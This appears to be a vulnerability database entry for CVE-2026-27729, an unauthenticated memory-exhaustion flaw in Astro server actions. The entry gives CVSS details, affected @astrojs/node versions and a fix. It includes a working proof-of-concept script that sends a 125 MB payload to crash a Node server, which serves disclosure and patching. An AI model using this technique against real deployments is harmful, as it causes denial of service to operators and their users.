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🛡️ CVE-2026-27729 — node

🟡 CVSS 5.9 — Medium ✅ No Known Exploit CWE-770 NVD
5.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Astro has memory exhaustion DoS due to missing request body size limit in Server Actions ## Summary Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments. ## Details On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server. Astro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop. Action names are discoverable from HTML form attributes on any public page, so no authentication is required. ## PoC
### Setup Create a new Astro project with the following files: `package.json`: ```json { "name": "poc-dos", "private": true, "scripts": { "build": "astro build", "start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } } ``` `astro.config.mjs`: ```javascript import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), }); ``` `src/actions/index.ts`: ```typescript import { defineAction } from 'astro:actions'; import { z } from 'astro:schema'; export const server = { echo: defineAction({ input: z.object({ data: z.string() }), handler: async (input) => ({ received: input.data.length }), }), }; ``` `src/pages/index.astro`: ```astro

Server running

``` `crash-test.mjs`: ```javascript const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) }); console.log('Sending 125 MB payload...'); try { const res = await fetch('http://localhost:4321/_actions/echo', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: payload, }); console.log('Status:', res.status); } catch (e) { console.log('Server crashed:', e.message); } ``` ### Reproduction ```bash npm install && npm run build # Terminal 1: Start server with 128 MB memory limit npm run start:128mb # Terminal 2: Send 125 MB payload node crash-test.mjs ``` The server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
## Impact Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-27729 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

CVE-2026-27729 is recorded against 2 packages.

  • @astrojs/node
  • \@astrojs\/node (from 9.0.0 up to 9.5.4)

Timeline and source

Published on 25 February 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

@astrojs/node has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-770: Allocation of Resources Without Limits) in other software:

Details

Severity Medium
CVSS Score 5.9
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-770
Public Exploit ✅ No
Source NVD
Published 2026-02-25
Updated 2026-08-20
Modified 2026-02-25

Affected Packages

Software From version Fixed in
@astrojs/node — —
\@astrojs\/node 9.0.0 9.5.4

Similar Threats

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